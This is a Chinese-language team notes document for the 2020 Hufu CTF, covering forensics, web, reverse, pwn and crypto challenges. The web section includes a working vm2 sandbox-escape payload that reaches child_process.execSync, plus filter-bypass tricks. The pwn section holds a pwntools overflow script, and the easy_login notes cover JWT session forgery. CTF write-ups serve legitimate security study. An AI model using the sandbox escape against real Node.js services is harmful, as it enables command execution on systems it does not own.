# 虎符 协作文档
// 数字中国创新大赛--虎符网络安全赛道
:::success
**URL**: https://race.ichunqiu.com/hfctf
**Start Time**: 2020年4月19日 9:00
**End Time**: 17:00
:::
---
[TOC]
---
# Misc
## 密码机器 | OPEN | Working: Wal1et
- Arduino单片机hex文件
- hex文件尾有一段python代码,涉及到加密和解密,但IDA还原的很混乱
```python
import base64
from Crypto.Cipher import AES
def add_to_16(s):
while len(s) % 16 != 0:
s += '\0'
return str.encode(s)
print('you have 10s to input the secret key')
key = 'aaaaa14mK3ybbbbb'
encrypted_text = 'PZbQF92C0DPpmpgV/sxbA3zG4UGMjRUsQitRsfCofGh0IcjCvVUwbc/5YxWgrSJHUzsz0eb/'
aes = AES.new(str.encode(key), AES.MODE_ECB)
decrypted_text = str(aes.decrypt(base64.decodebytes(bytes(encrypted_text, encoding='utf8'))).rstrip(b'\0').decode('utf8'))
```
- ↑这个跑不起来,有好多地方要改
## 奇怪的组织 | OPEN | Working: EndCat
- Windows环境取证(并不是
- 题目给了一些除System文件夹之外的程序目录/文件目录
**有没有方便针对文件夹的取证软件.....**
**没有的话那我人 工 取 证le**
题目Hint:注意用户的浏览行为,注意用户的聊天内容。
- Spot 1
简单翻了一下文件夹目录,发现有一个用户叫bob,浏览器使用firefox
搜索places.sqlite 这是存放浏览记录的文件(用sqlitespy看√)(看完了)
可疑记录有:
浏览记录里面为主要为dedecms的安装/
有可能进入到后台和phpmyadmin进行了一系列操作
访问网页:protonmail/spacesniffer/emojipedia
- Spot 2
在bob用户目录下发现了一首天气之子的OST
(暂时没打开来听过,应该不会有音频隐写啥的8)
- Spot 3
在bob用户的Document目录下 发现一个与
https://docs.geetest.com/onelogin/deploy/client/android
有关的的pdf文件
- Spot 4
根目录装了一个phpstudy+dedecms
**有没有人看一下这个站点……我把下载链接放下面**
https://pan.baidu.com/s/1k79WYOu3M-FqiY66K_WHXw
3b9f
<!-- 害用百度云?爬 -->
Users\bob\Pictures\Camera Roll\sdcard\
~~手机备份,cat看一下~~ 没啥东西
phpstudy的tmp里有session留着,里面有pma的执行记录
thunderbird邮件记录

这个codemoji好简陋。。官网只能加密,解密必须有分享网址,单独发的那两条解不开
其他几个地址解开后大意是“我们找到了安全的传输方法,密码不够复杂” emoji:那个龙
https://github.com/pavelvodrazka/ctf-writeups/tree/master/hackyeaster2018/challenges/egg17/files/cracker
## Minesweeper | OPEN | Working: EndCat
- netcat连接 发现是一个扫雷游戏
- nc 39.97.210.182 56666
貌似有很多关卡
我手撕了level1后 给了我一些意义不明的数字
```
You Win!
your reward:
0.3984 0.4219 0.3789 0.4023 0.4805 0.2109 0.3828 0.2227 0.2188 0.2188 0.1875 0.1875 0.1914 0.1758 0.1953
```
Tips:如果你们也想手撕的话,**可以连续键入方向指令,这样会快一点**
# Web
## easy_login | OPEN | Working: Reclu3e flag(手断回来了)
- /app.js
- /rest.js
- /controller.js (controllers/* 底下的js文件。。。)
- /views/{login/register/home}.pug (模版,没啥用)
- /package.json 看依赖版本(好像也没啥用)
- get flag 的时候会带着session,应该没法伪造身份,应该还是登陆的时候要伪造成admin
- /controllers/{view/api}.js
重点在于/api/flag到底要怎么验证emmmm
就是个get请求也没传啥参数啥的,应该是验证session的某个字段吧
koajs/session 的README里头写道
`Warning: If a session cookie is stolen, this cookie will never expire`
怎么拿到controllers底下的东西。。。 < 猜(迫真)

~~所有的secret是一个数组存的,每个人有不一样的secret,试试改secretid是负数,那么就是一个undefined的secret,这样就可以伪造admin了~~
🉑️么? <- 并不🉑️,有校验
/controllers/api.js
怎么拿到的。。。。。猜? <- 猜 草
还真是admin。。。。
<!-- 看来疯狂注册就行了 -->

<!--  <- sid不是在jwt里面吗 -->
在浏览器上可以,但是发过去就是sid不存在,你们康康
secret or public key must be provided
jwt.verify()第二个参数不能是undefined。。
https://github.com/auth0/node-jsonwebtoken
// js的数组有什么属性/函数返回的是一个字符串?([].toString())
除了[]还有什么满足`!(sid < global.secrets.length && sid >= 0)`?
字符串8行,还要满足上面那个式子
## just escape | DONE | Frank
- js沙箱逃逸√
- code=Error().stack
vm2
https://github.com/patriksimek/vm2/issues
<!-- 咋这么多js啊 我不会js -->
过滤
- " (用String.fromCharCode绕)
- .proto (Buffer.from.lookupGetter绕)
- process
- constructor
- exec
```javascript
(function() {
var exports;
exports[String.fromCharCode(112, 114, 111, 99, 101, 115, 115)] =
// exports.process =
setTimeout(()=>{}, 100).ref()
[String.fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)]
[String.fromCharCode(99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114)]
//settimeOut(()=>{}).ref().constructor.constructor
(String.fromCharCode(114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115))();
})()
```
怎么会ReferenceError: setTimeout is not defined
懵,还能没有setTimeout的么
这waf得我有亿点自闭

极限交flag
未混淆payload
```javascript
(function(){
try{
Buffer.from(new Proxy({}, {
getOwnPropertyDescriptor(){
throw f=>f.constructor("return process")();
}
}));
}catch(e){
return e(()=>{}).mainModule.require('child_process').execSync("ls")
}
})()
```
## baby love babyupload ~
<!-- 像这种打开题目就能看到源码的就不用放了8
网页上看着难受,在这写点注释啥的-->
hash_file 能触发php反序列化,不会是phar反序列化吧-_-
# Reverse
## game | OPEN | Done : Ruby | HAPPY
* Python逆向,给了python字节码的伪代码
```python
# check0忽略
def check1(s):
if (len(s) < 100):
if (len(s) * len(s)) % 777 ^ 233 == 513:
return True
return False
# len(s) == 39
# flag 格式是啥啊
def check2(s):
if ord(s[0])*128 + ord(s[1]) * 128 + ord(s[2]) * 128
+ ord(s[3]) * 128 + ord(s[4]) * 128 + ord(s[5]) * 128 == 3533889469877L:
return ord(s[-1]) == 125 # }
return False
# 还要手动dis验证一下
def check3(s):
arr = [ord(i) for i in s]
a = arr[6:30:3]
for i in range(len(a)):
a[i] *= 17684 # 原意不修改a,但是这是最后一个check了,修改下a也没事了
a[i] += 372511
a[i] = 257 % a[i] # a[i]%=257 # not sure
if arr0[i] != a[i]:
return False
b = arr[-2, 33, -1] * 5
c = map(lm, zip(b, arr[7, 27])) # TOS = TOS2[TOS1:TOS]
if c != arr1:
return False
p = 0
for i in range(28, 34):
arr[i] += 107
arr[i] /= 16
arr[i] += 77
if arr[i] != arr2[p]:
return False
arr[i] += 117
arr[i] %= 16
arr[i] += 99
if (arr2[p] + 1) != arr[i]: # or arr2[p+1]
return False
p = p + 2
```
```
flag{5LZG50ex5Yi75VqE5YePLIKl541pNu3Fq}
```
下线了)
完整*山程序
https://paste.ubuntu.com/p/MvNtMgGPDh/
# Pwn
## count | DONE | Sad
arm, 马上出,签到题
签了签了
```python
from pwn import *
p = remote("39.97.210.182",40285)
for i in range(1,201):
p.recvuntil("there have 200 levels ~Math: ")
strr=p.recvuntil(" =")
p.recvuntil("???input answer:")
p.sendline(str(eval(strr[:-2])))
print i
p.send('a'*100+p64(0x12235612))
p.interactive()
```
# Crypto
## gm | DONE | konge
<!-- 睡过了。。。难受 -->
```python
import data
phi = data.a
n = data.b
p = (n - phi + 1 - ((n - phi + 1) ^ 2 - 4 * n).nth_root(2)) // 2
q = n // p
Fp = Integers(p)
f2 = [0 if Fp(f).is_square() else 1 for f in data.enc]
hex(int('0' + ''.join(str(i) for i in f2), 2))[2:-1].decode('hex')
```
(开个sage搞死我了
https://ctftime.org/writeup/16120
## mceliece | Open | konge
https://github.com/aburan28/mceliece/blob/c60c503d04d9690e926e6badd559334124828c3d/mceliece/goppa_codes.py